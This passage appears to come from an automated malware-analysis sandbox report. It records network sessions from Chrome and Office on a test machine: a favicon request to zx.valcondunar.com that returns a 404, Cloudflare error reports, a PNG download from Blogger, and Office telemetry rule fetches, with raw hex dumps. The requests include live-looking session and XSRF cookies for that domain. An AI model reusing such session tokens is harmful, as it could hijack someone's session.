2024-11-25 04:58:46 UTC	1390	IN	Data Raw: ae 1f 7b 7c fe 33 2f 2f ef bd fd a5 86 6c ce 37 dc 19 bb 8f 3d 54 8f 7c 12 00 00 00 00 00 00 00 f2 22 e6 03 00 1a a4 78 e0 f1 bb bd 74 cb d1 ba b7 78 e5 ed 37 cf cd bd b8 33 43 6d d5 ec e5 de 70 67 ec 1e 7e a8 18 f9 30 00 00 00 00 00 00 00 e4 45 cc 07 00 34 c8 dd 4e da dd b8 e4 5b 73 e6 d2 85 1d 98 68 00 c3 6d cb 97 52 72 c6 2e 00 00 00 00 00 00 00 62 3e 00 a0 59 aa 0f 9d 79 ef af 97 6e 3e fc f8 fc 67 36 2d f9 d6 7c f9 c7 df dc 91 99 b6 60 e8 6d f9 8e 1e 70 c6 2e 00 00 00 00 00 00 00 62 3e 00 a0 c1 5e b8 7e ec 8b 57 0f 6e fd fd 51 87 ed ce 5e ee 7d e5 fc 8d e1 ae fd e3 4f b6 46 3b 0c 00 00 00 00 00 00 00 39 12 f3 01 00 cd b2 7e d2 ee 56 8e d6 bd dd 99 4b 17 76 bf e7 1b fa 80 dd e4 8c 5d 00 00 00 00 00 00 00 52 4a 29 39 d6 0d 00 68 9c 7f ff f0 0b 7f f3 fa Data Ascii: {\|3//l7=T\|"xtx73Cmpg~0E4N[shmRr.b>Yyn>g6-\|`mp.b>^~WnQ^}OF;9~VKv]RJ)9h
2024-11-25 04:58:46 UTC	1390	IN	Data Raw: 00 00 00 04 13 f3 01 00 00 00 00 00 00 00 00 40 30 31 1f 00 00 00 00 00 00 00 00 00 04 13 f3 01 00 00 00 00 00 00 00 00 40 30 31 1f 00 00 00 00 00 00 00 00 00 04 13 f3 01 00 00 00 00 00 00 00 00 40 30 31 1f 00 00 00 00 00 00 00 00 00 04 13 f3 01 00 00 00 00 00 00 00 00 40 30 31 1f 00 00 00 00 00 00 00 00 00 04 13 f3 01 00 00 00 00 00 00 00 00 40 30 31 1f 00 00 00 00 00 00 00 00 00 04 13 f3 01 00 00 00 00 00 00 00 00 40 30 31 1f 00 00 00 00 00 00 00 00 00 04 13 f3 01 00 00 00 00 00 00 00 00 40 30 31 1f 00 00 00 00 00 00 00 00 00 04 13 f3 01 00 00 00 00 00 00 00 00 40 30 31 1f 00 00 00 00 00 00 00 00 00 04 13 f3 01 00 00 00 00 00 00 00 00 40 30 31 1f 00 00 00 00 00 00 00 00 00 04 13 f3 01 00 00 00 00 00 00 00 00 40 30 31 1f 00 00 00 00 00 00 00 00 00 04 13 Data Ascii: @01@01@01@01@01@01@01@01@01@01

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49798	172.67.195.202	443	3916	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:58:46 UTC	1321	OUT	GET /favicon.ico HTTP/1.1 Host: zx.valcondunar.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://zx.valcondunar.com/b3k54/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6InRSS1h1SzBWN2Q2cDJRY0VCQVRPYXc9PSIsInZhbHVlIjoiZmdrYjBZVnFZd1pxQlBoL3E0OVkzUmdmU3NhR3RxNU9vdGk3UU5jOUhXUXMrNkovb3N1SjFuRHE0bkxDN2l6U1lydXkwNzBJSzB4dEhYTXRWenV6KzhmZS93a05LVnRYZ083RHFBSnJ2dFplT3dCZGNTL3MzdzdKaXdCak9NV08iLCJtYWMiOiIwYWJiNTA5ZmNjNmMzZTJhNDgzYWIzMjQ2NTQyNTQxOGIyYzE1MWJmZGIxY2I1MzNiZmE1ODIwZmUzZjZkZGEyIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IitUWU0xNjEwUkhsMTVldTExV1hjQWc9PSIsInZhbHVlIjoiRHZOVUxaZmNlWThBejhvUzkzV0p5cHhvMjNkUjlzT3ZodUZKS2k4TnNVcDltVWlCWTc4cWJ1MDJXcGlGWnZ0RnRDbTIzL3NjZTlUbkIzbHA4WGcrQmlGaEgzMDR4eDV2NjhWR01WMmw4VzlKSHRydGZKN3FrdURyZ1plTW5FVE4iLCJtYWMiOiIxOTAwYWIyM2RiYmZiM2M4YjQwOTIzMTVlN2NkOTcxMGU5Zjg2NzlmMGI0Y2FhNGFjOGIxZTc4ZDU3MGQ0OTZhIiwidGFnIjoiIn0%3D
2024-11-25 04:58:47 UTC	1020	IN	HTTP/1.1 404 Not Found Date: Mon, 25 Nov 2024 04:58:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=14400 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=6RT7WDCPsQY1Rlf0PPdwtPgrYQEECpcr7nxILfTJZ5JjO2yq9cSqiVLKh2BWdNuNqZv%2F5molFSNuzO87ChzHQ9iMbRGS9obpGs3%2FGAk5PIpYCOMBWfHQj40TK0ijCg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: Accept-Encoding alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=36248&sent=48&recv=35&lost=0&retrans=0&sent_bytes=45828&recv_bytes=4029&delivery_rate=496886&cwnd=4&unsent_bytes=0&cid=54ba59cd015879a2&ts=48519&x=0" CF-Cache-Status: HIT Age: 11390 Server: cloudflare CF-RAY: 8e7f10ccc8d343c7-EWR server-timing: cfL4;desc="?proto=TCP&rtt=2089&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2836&recv_bytes=1899&delivery_rate=1377358&cwnd=211&unsent_bytes=0&cid=0267454ece234aa7&ts=7613&x=0"
2024-11-25 04:58:47 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	49804	35.190.80.1	443	3916	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:58:48 UTC	535	OUT	OPTIONS /report/v4?s=6RT7WDCPsQY1Rlf0PPdwtPgrYQEECpcr7nxILfTJZ5JjO2yq9cSqiVLKh2BWdNuNqZv%2F5molFSNuzO87ChzHQ9iMbRGS9obpGs3%2FGAk5PIpYCOMBWfHQj40TK0ijCg%3D%3D HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Origin: https://zx.valcondunar.com Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-25 04:58:49 UTC	336	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-max-age: 86400 access-control-allow-methods: OPTIONS, POST access-control-allow-origin: * access-control-allow-headers: content-length, content-type date: Mon, 25 Nov 2024 04:58:48 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	49803	142.250.181.65	443	3916	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:58:49 UTC	680	OUT	GET /img/b/R29vZ2xl/AVvXsEgdrhY6zM7txEf61nPO67_Cl7rOyCGsyEb9GaIEqe3M-p-yN2nJeBUGCXkDygK7t8xYVcKwSgu4v0_u6EZF5srUh16p0vNl1K8hBeBV8dg-KcOpt7y8vrkamMOU2HxW0STp0JDEp21FWuCWxDXZX0EtxoLPSBWR6WwhXZglXIvWXbh24ojuyofD6htY8D4/s3396/userinter.png HTTP/1.1 Host: blogger.googleusercontent.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiTocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-25 04:58:50 UTC	470	IN	HTTP/1.1 200 OK Content-Type: image/png Vary: Origin Access-Control-Expose-Headers: Content-Length ETag: "v367e" Expires: Tue, 26 Nov 2024 04:58:50 GMT Cache-Control: public, max-age=86400, no-transform Content-Disposition: inline;filename="userinter.png" X-Content-Type-Options: nosniff Date: Mon, 25 Nov 2024 04:58:50 GMT Server: fife Content-Length: 87859 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-11-25 04:58:50 UTC	920	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 0d 44 00 00 07 80 08 02 00 00 00 33 3b 2b ce 00 00 00 03 73 42 49 54 08 08 08 db e1 4f e0 00 00 00 5f 7a 54 58 74 52 61 77 20 70 72 6f 66 69 6c 65 20 74 79 70 65 20 41 50 50 31 00 00 08 99 e3 4a 4f cd 4b 2d ca 4c 56 28 28 ca 4f cb cc 49 e5 52 00 03 63 13 2e 13 4b 13 4b a3 44 03 03 03 0b 03 08 30 34 30 30 36 04 92 46 40 b6 39 54 28 d1 00 05 98 98 9b a5 01 a1 b9 59 b2 99 29 88 cf 05 00 4f ba 15 68 1b 2d d8 8c 00 00 20 00 49 44 41 54 78 9c ec da 21 01 00 20 00 c0 30 a0 7f 58 04 02 49 8c 0b b6 04 0f f0 b9 cf 1d 00 00 00 00 00 00 00 00 00 40 67 d5 01 00 00 00 00 00 00 00 00 00 f0 3b 33 1f 00 00 00 00 00 00 00 00 00 c4 cc 7c 00 00 00 00 00 00 00 00 00 10 33 f3 01 00 00 00 00 00 00 00 00 40 cc cc 07 00 00 00 Data Ascii: PNGIHDRD3;+sBITO_zTXtRaw profile type APP1JOK-LV((OIRc.KKD04006F@9T(Y)Oh- IDATx! 0XI@g;3\|3@
2024-11-25 04:58:50 UTC	1390	IN	Data Raw: 00 00 10 33 f3 01 00 00 00 00 00 00 00 00 40 cc cc 07 00 00 00 00 00 00 00 00 00 31 33 1f 00 00 00 00 00 00 00 00 00 c4 cc 7c 00 00 00 00 00 00 00 00 00 10 33 f3 01 00 00 00 00 00 00 00 00 40 cc cc 07 00 00 00 00 00 00 00 00 00 31 33 1f 00 00 00 00 00 00 00 00 00 c4 cc 7c 00 00 00 00 00 00 00 00 00 10 33 f3 01 00 00 00 00 00 00 00 00 40 cc cc 07 00 00 00 00 00 00 00 00 00 31 33 1f 00 00 00 00 00 00 00 00 00 c4 cc 7c 00 00 00 00 00 00 00 00 00 10 33 f3 01 00 00 00 00 00 00 00 00 40 cc cc 07 00 00 00 00 00 00 00 00 00 31 33 1f 00 00 00 00 00 00 00 00 00 c4 cc 7c 00 00 00 00 00 00 00 00 00 10 33 f3 01 00 00 00 00 00 00 00 00 40 cc cc 07 00 00 00 00 00 00 00 00 00 31 33 1f 00 00 00 00 00 00 00 00 00 c4 cc 7c 00 00 00 00 00 00 00 00 00 10 33 f3 01 00 00 00 00 Data Ascii: 3@13\|3@13\|3@13\|3@13\|3@13\|3
2024-11-25 04:58:50 UTC	1390	IN	Data Raw: 00 00 00 00 00 00 00 00 00 31 33 1f 00 00 00 00 00 00 00 00 00 c4 cc 7c 00 00 00 00 00 00 00 00 00 10 33 f3 01 00 00 00 00 00 00 00 00 40 cc cc 07 00 00 00 00 00 00 00 00 00 31 33 1f 00 00 00 00 00 00 00 00 00 c4 cc 7c 00 00 00 00 00 00 00 00 00 10 33 f3 01 00 00 00 00 00 00 00 00 40 cc cc 07 00 00 00 00 00 00 00 00 00 31 33 1f 00 00 00 00 00 00 00 00 00 c4 cc 7c 00 00 00 00 00 00 00 00 00 10 33 f3 01 00 00 00 00 00 00 00 00 40 cc cc 07 00 00 00 00 00 00 00 00 00 31 33 1f 00 00 00 00 00 00 00 00 00 c4 cc 7c 00 00 00 00 00 00 00 00 00 10 33 f3 01 00 00 00 00 00 00 00 00 40 cc cc 07 00 00 00 00 00 00 00 00 00 31 33 1f 00 00 00 00 00 00 00 00 00 c4 cc 7c 00 00 00 00 00 00 00 00 00 10 33 f3 01 00 00 00 00 00 00 00 00 40 cc cc 07 00 00 00 00 00 00 00 00 00 31 Data Ascii: 13\|3@13\|3@13\|3@13\|3@13\|3@1
2024-11-25 04:58:50 UTC	1390	IN	Data Raw: 00 00 00 c4 cc 7c 00 00 00 00 00 00 00 00 00 10 33 f3 01 00 00 00 00 00 00 00 00 40 cc cc 07 00 00 00 00 00 00 00 00 00 31 33 1f 00 00 00 00 00 00 00 00 00 c4 cc 7c 00 00 00 00 00 00 00 00 00 10 33 f3 01 00 00 00 00 00 00 00 00 40 cc cc 07 00 00 00 00 00 00 00 00 00 31 33 1f 00 00 00 00 00 00 00 00 00 c4 cc 7c 00 00 00 00 00 00 00 00 00 10 33 f3 01 00 00 00 00 00 00 00 00 40 cc cc 07 00 00 00 00 00 00 00 00 00 31 33 1f 00 00 00 00 00 00 00 00 00 c4 cc 7c 00 00 00 00 00 00 00 00 00 10 33 f3 01 00 00 00 00 00 00 00 00 40 cc cc 07 00 00 00 00 00 00 00 00 00 31 33 1f 00 00 00 00 00 00 00 00 00 c4 cc 7c 00 00 00 00 00 00 00 00 00 10 33 f3 01 00 00 00 00 00 00 00 00 40 cc cc 07 00 00 00 00 00 00 00 00 00 31 33 1f 00 00 00 00 00 00 00 00 00 c4 cc 7c 00 00 00 00 Data Ascii: \|3@13\|3@13\|3@13\|3@13\|3@13\|
2024-11-25 04:58:50 UTC	1390	IN	Data Raw: 01 00 00 00 00 00 00 00 00 40 cc cc 07 00 00 00 00 00 00 00 00 00 31 33 1f 00 00 00 00 00 00 00 00 00 c4 cc 7c 00 00 00 00 00 00 00 00 00 10 33 f3 01 00 00 00 00 00 00 00 00 40 cc cc 07 00 00 00 00 00 00 00 00 00 31 33 1f 00 00 00 00 00 00 00 00 00 c4 cc 7c 00 00 00 00 00 00 00 00 00 10 33 f3 01 00 00 00 00 00 00 00 00 40 cc cc 07 00 00 00 f0 d8 bb 9f 10 39 cf fb 80 e3 cf fb 67 fe ac 64 cb 76 40 71 da 83 9c 3f 26 14 c9 92 bd 4a 23 0c b1 72 68 c8 b1 e9 a1 89 43 b1 8a 88 15 50 a1 31 24 84 1a 92 42 08 3d e4 90 1c da a2 50 30 54 04 51 19 23 27 a7 96 d2 43 88 09 c6 2d c1 c1 5e 6b ad f5 21 b4 49 ab 43 53 67 a1 5a 39 52 b5 ab dd d9 e9 61 e3 ad ab 3f bb 3b b3 b3 fb 7b 9f 99 cf e7 60 76 77 e6 7d fd bb 8d c7 cf f7 7d 1e 00 00 00 00 00 08 26 e6 03 00 00 00 00 00 00 Data Ascii: @13\|3@13\|3@9gdv@q?&J#rhCP1$B=P0TQ#'C-^k!ICSgZ9Ra?;{`vw}}&
2024-11-25 04:58:50 UTC	1390	IN	Data Raw: 00 00 00 00 00 08 26 e6 03 00 00 00 00 00 00 00 00 80 60 62 3e 00 00 00 00 00 00 00 00 00 08 26 e6 03 00 00 00 00 00 00 00 00 80 60 62 3e 00 00 00 00 00 00 00 00 00 08 26 e6 03 00 00 00 00 00 00 00 00 80 60 62 3e 00 00 00 00 00 00 00 00 00 08 26 e6 03 00 00 00 00 00 00 00 00 80 60 62 3e 00 00 00 00 00 00 00 00 00 08 26 e6 03 00 00 00 00 00 00 00 00 80 60 62 3e 00 00 00 00 00 00 00 00 00 08 26 e6 03 00 00 00 00 00 00 00 00 80 60 62 3e 00 00 00 00 00 00 00 00 00 08 26 e6 03 00 00 00 00 00 00 00 00 80 60 62 3e 00 00 00 00 00 00 00 00 00 08 26 e6 03 00 00 00 00 00 00 00 00 80 60 62 3e 00 00 00 00 00 00 00 00 00 08 26 e6 03 00 00 00 00 00 00 00 00 80 60 62 3e 00 00 00 00 00 00 00 00 00 08 26 e6 03 00 00 00 00 00 00 00 00 80 60 62 3e 00 00 00 00 00 00 00 00 00 Data Ascii: &`b>&`b>&`b>&`b>&`b>&`b>&`b>&`b>&`b>&`b>
2024-11-25 04:58:50 UTC	1390	IN	Data Raw: e3 c3 e7 3a 00 64 ac 28 52 d7 53 77 00 00 00 00 00 30 a9 ba ed ba 70 78 0f 00 8c 0b 31 1f 00 64 ac db aa 4b df d1 01 00 00 00 00 60 52 95 45 d1 6d 79 ec 1f 00 c6 84 98 0f 00 72 55 55 0e d8 05 00 00 00 00 80 49 d7 6e 55 55 65 e9 1f 00 c6 81 4f 74 00 c8 55 57 c9 07 00 00 00 00 00 58 32 00 80 71 21 e6 03 80 2c b5 ea b2 f6 98 1d 00 00 00 00 00 90 52 5d 95 ad da aa 01 00 64 cf c7 39 00 64 a9 d3 aa a3 47 00 00 00 00 00 00 9a c2 c2 01 00 8c 01 31 1f 00 e4 a7 55 57 55 59 44 4f 01 00 00 00 00 00 34 45 55 16 ad da 61 bb 00 90 37 31 1f 00 e4 a7 d3 f2 6d 1c 00 00 00 00 00 f8 7f 2c 1f 00 40 ee c4 7c 00 90 99 ba 2a 6d cb 07 00 00 00 00 00 dc a2 2a 8b ba d2 00 00 40 c6 7c 90 03 40 66 3c 57 07 00 00 00 00 00 dc 91 45 04 00 c8 9a 98 0f 00 72 52 7a a8 0e 00 00 00 00 00 b8 Data Ascii: :d(RSw0px1dK`REmyrUUInUUeOtUWX2q!,R]d9dG1UWUYDO4EUa71m,@\|m@\|@f<WErRz
2024-11-25 04:58:50 UTC	1390	IN	Data Raw: 64 3a 7a 0a 00 00 00 00 00 00 00 9a 4e cc 07 00 64 23 c7 92 af 73 e2 54 f4 14 00 00 00 00 00 00 00 64 40 cc 07 00 e4 41 c9 07 00 00 00 00 00 00 c0 18 13 f3 01 00 19 50 f2 01 00 00 00 00 00 00 30 de c4 7c 00 40 d3 ad cc ce 28 f9 00 00 00 00 00 00 00 18 6f 75 f4 00 00 00 9b b8 f2 d5 d3 3b 77 f3 ee f4 b1 b5 1f da 47 a6 d7 7e b8 39 3b 93 52 5a 9c 79 75 b8 1b 2a f9 00 00 00 00 00 00 00 18 82 98 0f 00 68 b4 5f 3f fb a5 91 df b3 3b 7d 6c ea c4 a9 94 52 fd 6e c0 f7 5e 9d 94 52 4a f7 a6 94 52 5a 3a 7f 36 a5 b4 f5 7d 01 95 7c 00 00 00 00 00 00 00 0c a7 58 b8 b6 18 3d 03 00 b0 89 fb f6 76 a2 47 88 b1 74 fe ec 08 0f d8 5d 6b f8 ee 18 f0 8d 64 12 25 1f 00 00 00 00 00 8d 72 f5 fa 52 f4 08 00 c0 00 c4 7c 00 90 81 89 8d f9 e6 3f 7d 6c 24 f7 d9 4e c6 f7 5e 1b 24 7d 4a 3e Data Ascii: d:zNd#sTd@AP0\|@(ou;wG~9;RZyu*h_?;}lRn^RJRZ:6}\|X=vGt]kd%rR\|?}l$N^$}J>
2024-11-25 04:58:50 UTC	1390	IN	Data Raw: ae 1f 7b 7c fe 33 2f 2f ef bd fd a5 86 6c ce 37 dc 19 bb 8f 3d 54 8f 7c 12 00 00 00 00 00 00 00 f2 22 e6 03 00 1a a4 78 e0 f1 bb bd 74 cb d1 ba b7 78 e5 ed 37 cf cd bd b8 33 43 6d d5 ec e5 de 70 67 ec 1e 7e a8 18 f9 30 00 00 00 00 00 00 00 e4 45 cc 07 00 34 c8 dd 4e da dd b8 e4 5b 73 e6 d2 85 1d 98 68 00 c3 6d cb 97 52 72 c6 2e 00 00 00 00 00 00 00 62 3e 00 a0 59 aa 0f 9d 79 ef af 97 6e 3e fc f8 fc 67 36 2d f9 d6 7c f9 c7 df dc 91 99 b6 60 e8 6d f9 8e 1e 70 c6 2e 00 00 00 00 00 00 00 62 3e 00 a0 c1 5e b8 7e ec 8b 57 0f 6e fd fd 51 87 ed ce 5e ee 7d e5 fc 8d e1 ae fd e3 4f b6 46 3b 0c 00 00 00 00 00 00 00 39 12 f3 01 00 cd b2 7e d2 ee 56 8e d6 bd dd 99 4b 17 76 bf e7 1b fa 80 dd e4 8c 5d 00 00 00 00 00 00 00 52 4a 29 39 d6 0d 00 68 9c 7f ff f0 0b 7f f3 fa Data Ascii: {\|3//l7=T\|"xtx73Cmpg~0E4N[shmRr.b>Yyn>g6-\|`mp.b>^~WnQ^}OF;9~VKv]RJ)9h
2024-11-25 04:58:50 UTC	1390	IN	Data Raw: 00 00 00 04 13 f3 01 00 00 00 00 00 00 00 00 40 30 31 1f 00 00 00 00 00 00 00 00 00 04 13 f3 01 00 00 00 00 00 00 00 00 40 30 31 1f 00 00 00 00 00 00 00 00 00 04 13 f3 01 00 00 00 00 00 00 00 00 40 30 31 1f 00 00 00 00 00 00 00 00 00 04 13 f3 01 00 00 00 00 00 00 00 00 40 30 31 1f 00 00 00 00 00 00 00 00 00 04 13 f3 01 00 00 00 00 00 00 00 00 40 30 31 1f 00 00 00 00 00 00 00 00 00 04 13 f3 01 00 00 00 00 00 00 00 00 40 30 31 1f 00 00 00 00 00 00 00 00 00 04 13 f3 01 00 00 00 00 00 00 00 00 40 30 31 1f 00 00 00 00 00 00 00 00 00 04 13 f3 01 00 00 00 00 00 00 00 00 40 30 31 1f 00 00 00 00 00 00 00 00 00 04 13 f3 01 00 00 00 00 00 00 00 00 40 30 31 1f 00 00 00 00 00 00 00 00 00 04 13 f3 01 00 00 00 00 00 00 00 00 40 30 31 1f 00 00 00 00 00 00 00 00 00 04 13 Data Ascii: @01@01@01@01@01@01@01@01@01@01

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	49805	35.190.80.1	443	3916	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:58:50 UTC	474	OUT	POST /report/v4?s=6RT7WDCPsQY1Rlf0PPdwtPgrYQEECpcr7nxILfTJZ5JjO2yq9cSqiVLKh2BWdNuNqZv%2F5molFSNuzO87ChzHQ9iMbRGS9obpGs3%2FGAk5PIpYCOMBWfHQj40TK0ijCg%3D%3D HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Content-Length: 433 Content-Type: application/reports+json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-25 04:58:50 UTC	433	OUT	Data Raw: 5b 7b 22 61 67 65 22 3a 30 2c 22 62 6f 64 79 22 3a 7b 22 65 6c 61 70 73 65 64 5f 74 69 6d 65 22 3a 33 35 39 2c 22 6d 65 74 68 6f 64 22 3a 22 47 45 54 22 2c 22 70 68 61 73 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 22 2c 22 70 72 6f 74 6f 63 6f 6c 22 3a 22 68 74 74 70 2f 31 2e 31 22 2c 22 72 65 66 65 72 72 65 72 22 3a 22 68 74 74 70 73 3a 2f 2f 7a 78 2e 76 61 6c 63 6f 6e 64 75 6e 61 72 2e 63 6f 6d 2f 62 33 6b 35 34 2f 22 2c 22 73 61 6d 70 6c 69 6e 67 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 2c 22 73 65 72 76 65 72 5f 69 70 22 3a 22 31 37 32 2e 36 37 2e 31 39 35 2e 32 30 32 22 2c 22 73 74 61 74 75 73 5f 63 6f 64 65 22 3a 34 30 34 2c 22 74 79 70 65 22 3a 22 68 74 74 70 2e 65 72 72 6f 72 22 7d 2c 22 74 79 70 65 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 6f Data Ascii: [{"age":0,"body":{"elapsed_time":359,"method":"GET","phase":"application","protocol":"http/1.1","referrer":"https://zx.valcondunar.com/b3k54/","sampling_fraction":1.0,"server_ip":"172.67.195.202","status_code":404,"type":"http.error"},"type":"network-erro
2024-11-25 04:58:50 UTC	168	IN	HTTP/1.1 200 OK Content-Length: 0 date: Mon, 25 Nov 2024 04:58:50 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.4	49806	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:59:08 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 04:59:08 UTC	492	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 04:59:08 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Cache-Control: public Last-Modified: Sat, 23 Nov 2024 12:15:37 GMT ETag: "0x8DD0BB889D4282C" x-ms-request-id: c3062018-b01e-003e-79df-3d8e41000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T045908Z-178bfbc474bv7whqhC1NYC1fg400000006xg00000000ecms x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-25 04:59:08 UTC	15892	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-11-25 04:59:09 UTC	16384	IN	Data Raw: 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 Data Ascii: <V V="400" T="I32" /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" /> </L> <R> <V
2024-11-25 04:59:09 UTC	16384	IN	Data Raw: 32 30 76 33 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 33 